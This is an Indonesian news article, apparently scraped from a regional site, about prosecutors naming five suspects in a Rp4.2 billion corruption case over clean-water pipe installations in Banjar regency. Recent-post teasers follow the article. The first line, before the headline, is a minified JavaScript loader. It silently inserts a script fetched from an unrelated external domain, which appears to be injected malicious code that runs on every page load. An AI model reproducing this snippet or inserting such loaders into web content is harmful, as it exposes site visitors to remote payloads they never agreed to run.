(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

5 Tersangka Terjerat Korupsi Sambungan Air Bersih di Disperkim Banjar


BANJARMASIN, Setelah selama 2 tahun lebih Kejaksaan Tinggi (Kejati) Kalsel melakukan penyelidikan dan penyidikan dugaan kasus tindak pidana korupsi di Dinas Perumahaan dan Permukiman (Disperkim) Kabupaten Banjar tahun anggaran 2016 sebesar Rp9 miliar, akhirnya Kejati Kalsel tetapkan 5 orang tersangka pada Selasa (18/6/2019).

Asisten Tindak Pidana Khusus (Pidsus) Kejati Kalsel, Munaji SH MH mengatakan, kasus dugaan korupsi penunjang sarana prasarana dan reguler untuk pemasangan pipa air bersih di Disperkim Kabupaten Banjar  telah menetapkan 5 orang tersangka inisial EM, HR, MS, BY, dan YY.  Dari kasus dugaan korupsi tersebut telah merugikan keuangan negara sebesar Rp4,2 miliar dari nilai anggaran kegiatan sebesar Rp9 miliar.

Mereka yang ditetapkan sebagai tersangka dari Disperkim Banjar yakni PPK dan PPTK berinisial EM dan HR. Sedangkan 3 orang tersangka lainnya itu merupakan dari rekanan berinisial MS, BY, dan YY yang mengerjakan proyek perpipaan untuk penyedian air bersih tersebut.

Munaji menyebut, ada unsur dugaan pidana yang menyebabkan kerugian keuangan daerah sebesar Rp4,2 miliar itu, berdasarkan hasil audit BPK. “Modus para tersangka mark-up harga dan kekurangan volume yang belum terpasang dengan nilai anggaran sebesar Rp 9 miliar,” jelasnya.

Munaji SH MH, Assiten Tipidsus Kejati Kalsel. Foto : istimewa

Masih menurut Munaji SH MH, dalam waktu dekat penyidik akan memanggil dan memeriksa para saksi-saksi serta para tersangka untuk diperiksa lebih lanjut.

Sedangkan proyek kegiatan sarana prasarana kegiatan pemasangan penyambungan air bersih ke rumah warga di Disperkim Kabupaten Banjar dengan harga per unit/per rumah Rp 3 juta lebih. Sedangkan harga standar menurut harga PDAM hanya Rp1,3 juta saja per unit/per rumah.

Dari kerugian keuangan negara sebesar Rp4,2 miliar itu sudah termasuk dengan kerugian dari konsultan pengawas sebesar Rp82 juta.

“Untuk selanjutnya, dalam perkara ini apakah ada tersangka lain atau tidaknya nanti tergantung hasil perkembangan pemeriksaan dari penyidik,” terangnya. (kk)

Reporter : Kk
Editor : Bie

Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

11 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

12 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

14 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

18 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

18 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

21 jam ago

This website uses cookies.